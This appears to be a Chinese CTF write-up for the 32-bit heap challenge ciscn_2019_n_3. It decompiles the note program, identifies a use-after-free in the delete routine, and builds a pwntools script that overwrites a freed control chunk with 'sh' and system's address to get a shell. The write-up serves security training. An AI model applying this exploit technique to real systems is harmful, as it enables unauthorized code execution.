ciscn_2019_n_3

准备


32 位

分析

main函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
int __cdecl main(int argc, const char **argv, const char **envp)
{
int n2; // eax
float v5; // [esp+1Ch] [ebp-Ch]

alarm(0x12Cu);
setvbuf(stdout, 0, 2, 0);
setvbuf(stdin, 0, 2, 0);
puts("================================================================================");
puts(&s_);
puts("\tCloud Note (Free Edition)");
puts("Free Edition can only use within 300 seconds");
puts("Profession Edition only sale $9.999999");
system("date");
puts("================================================================================");
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
puts("1. New note");
puts("2. Del note");
puts("3. Show note");
puts("4. Purchase Pro Edition");
v5 = (long double)rand() / 2147483600.0 * 9.0;
n2 = ask("CNote");
if ( n2 != 2 )
break;
do_del();
}
if ( n2 > 2 )
break;
if ( n2 != 1 )
goto LABEL_13;
do_new();
}
if ( n2 != 3 )
break;
do_dump();
}
if ( n2 != 4 )
break;
printf("\tBalance: %f\n", v5);
puts("\tYou dont have enough money!\n");
}
LABEL_13:
puts("Thanks for using CNote! Bye~");
return 0;
}

开头看到 system 函数
四个选项,有增删查功能

1-do_new(add)函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
int do_new()
{
int n2; // eax
unsigned int n0x10; // [esp+0h] [ebp-18h]
int v3; // [esp+4h] [ebp-14h]
unsigned int size; // [esp+Ch] [ebp-Ch]

n0x10 = ask("Index");
if ( n0x10 > 0x10 )
return puts("Out of index!");
if ( records[n0x10] )
return printf("Index #%d is used!\n", n0x10);
records[n0x10] = (int)malloc(0xCu);
v3 = records[n0x10];
*(_DWORD *)v3 = rec_int_print;
*(_DWORD *)(v3 + 4) = rec_int_free;
puts("Blob type:");
puts("1. Integer");
puts("2. Text");
n2 = ask("Type");
if ( n2 == 1 )
{
*(_DWORD *)(v3 + 8) = ask("Value");
}
else
{
if ( n2 != 2 )
return puts("Invalid type!");
size = ask("Length");
if ( size > 0x400 )
return puts("Length too long, please buy pro edition to store longer note!");
*(_DWORD *)(v3 + 8) = malloc(size);
printf("Value > ");
fgets(*(char **)(v3 + 8), size, stdin);
*(_DWORD *)v3 = rec_str_print;
*(_DWORD *)(v3 + 4) = rec_str_free;
}
puts("Okey, got your data. Here is it:");
return (*(int (__cdecl **)(int))v3)(v3);
}

这里是添加堆块,限制了堆块个数不能超过 16
开头先创建了一个 0xC 大小的堆块,当控制块
在输入内容前,还有一个选择,选择是文本,还是整数,想要控制创建的堆块大小,需要选择文本
堆块大小被限制不能大于 0x400
这里关键的是这几句

1
2
3
4
5
records[n0x10] = (int)malloc(0xCu);
v3 = records[n0x10];
*(_DWORD *)(v3 + 8) = malloc(size);
*(_DWORD *)v3 = rec_str_print;
*(_DWORD *)(v3 + 4) = rec_str_free;

这里的 n0x10 是我们选择的堆块序号(index)
这里主要的是把堆块的起始地址赋值给 records[n0x10]\v3
在堆块偏移 8 处存储内容块的堆地址
在堆块偏移 0 处存储 rec_str_print 函数的地址
在堆块偏移 4 处存储 rec_str_free 函数的地址

rec_str_print函数

1
2
3
4
int __cdecl rec_str_print(int a1)
{
return printf("Note(Type=String, Value=%s)\n", *(const char **)(a1 + 8));
}

输出堆块内容

rec_str_free函数

1
2
3
4
5
6
int __cdecl rec_str_free(void **ptr)
{
free(ptr[2]);
free(ptr);
return puts("Note freed!");
}

删除操作,但删除后,没修改指针,存在 UAF 漏洞

2-do_del(delete)函数

1
2
3
4
5
6
7
int do_del()
{
int v0; // eax

v0 = ask("Index");
return (*(int (__cdecl **)(int))(records[v0] + 4))(records[v0]);
}

这里关键点是这里

1
2
(*(int (__cdecl **)(int))(records[v0] + 4))(records[v0])
( *(int (__cdecl **)(int)) (records[v0] + 4) )(records[v0])

这里的 v0 是我们选择的堆块序号(index)
records[v0](堆块的起始地址) 作为参数
调用 records[v0] + 4(堆块偏移 0x4 的位置,这里存放着 rec_str_free 的地址) 这里的释放函数,从而达到释放堆块的效果

3-do_dump(show)函数

1
2
3
4
5
6
7
int do_dump()
{
int v0; // eax

v0 = ask("Index");
return (*(int (__cdecl **)(int))records[v0])(records[v0]);
}

这里的 v0 是我们选择的堆块序号(index)
records[v0](堆块的起始地址) 作为参数
调用 records[v0] + 0(堆块偏移 0 的位置,这里存放着 rec_str_print 的地址) 这里的输出函数,从而达到输出堆块内容的效果

思路

这题有 UAF ,有 system 函数
根据分析可以知道,在程序删除的逻辑是会调用records[v0] + 4 这里的函数,把 records[v0]作为参数,所以我们可以把records[v0] + 4 这里设置为 system 函数的地址,把 records[v0] 这里设置为 'sh' ,最后释放这个堆块,来获得 shell
先创建两个堆块

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
from pwn import *
context(os='linux',log_level = 'debug',arch='i386')
# io=remote('node5.buuoj.cn',29650)
io= process('/home/motaly/n3')
elf=ELF('/home/motaly/n3')
libc=ELF('/home/motaly/glibc-all-in-one/libs/2.27-3ubuntu1_i386/libc-2.27.so')

def add(index,type,len,value):
io.sendlineafter("CNote > ", "1")
io.sendlineafter("Index > ", str(index))
io.sendlineafter("Type > ", str(type))
io.sendlineafter("Length > ", str(len))
io.sendlineafter("Value > ", value)

def delete(index):
io.sendlineafter("CNote > ", "2")
io.sendlineafter("Index > ", str(index))

def show(index):
io.sendlineafter("CNote > ", "3")
io.sendlineafter("Index > ", str(index))

add(1,2,0x30,"aaaa")
add(2,2,0x30,"bbbb")


把这两块删除

1
2
3
4
5
add(1,2,0x30,"aaaa")
add(2,2,0x30,"bbbb")

delete(1)
delete(2)

此时我们申请一个 0xC 大小的堆块,我们就能把两块的结构块,申请出来,申请的同时可以把 'sh'system 地址写入

1
2
3
4
5
6
7
8
9
10
add(1,2,0x30,"aaaa")
add(2,2,0x30,"bbbb")

delete(1)
delete(2)

system_addr = elf.symbols['system']
payload = b'sh\x00\x00' + p32(system_addr)

add(3,2,0xc,payload)


最后删除 1 块,触发连接

1
2
3
4
5
6
7
8
9
10
11
12
add(1,2,0x30,"aaaa")
add(2,2,0x30,"bbbb")

delete(1)
delete(2)

system_addr = elf.symbols['system']
payload = b'sh\x00\x00' + p32(system_addr)

add(3,2,0xc,payload)

delete(1)

脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
from pwn import *
context(os='linux',log_level = 'debug',arch='i386')
# io=remote('node5.buuoj.cn',29650)
io= process('/home/motaly/n3')
elf=ELF('/home/motaly/n3')
libc=ELF('/home/motaly/glibc-all-in-one/libs/2.27-3ubuntu1_i386/libc-2.27.so')

def add(index,type,len,value):
io.sendlineafter("CNote > ", "1")
io.sendlineafter("Index > ", str(index))
io.sendlineafter("Type > ", str(type))
io.sendlineafter("Length > ", str(len))
io.sendlineafter("Value > ", value)

def delete(index):
io.sendlineafter("CNote > ", "2")
io.sendlineafter("Index > ", str(index))

def show(index):
io.sendlineafter("CNote > ", "3")
io.sendlineafter("Index > ", str(index))

add(1,2,0x30,"aaaa")
add(2,2,0x30,"bbbb")

delete(1)
delete(2)

system_addr = elf.symbols['system']
payload = b'sh\x00\x00' + p32(system_addr)

add(3,2,0xc,payload)

delete(1)
io.interactive()